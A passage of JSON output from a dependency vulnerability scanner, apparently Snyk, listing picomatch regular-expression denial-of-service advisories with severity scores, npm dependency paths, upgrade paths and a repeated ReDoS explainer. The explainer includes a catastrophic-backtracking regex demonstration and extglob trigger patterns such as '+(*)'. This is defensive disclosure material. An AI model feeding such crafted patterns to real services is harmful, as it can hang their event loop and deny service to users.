-----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## 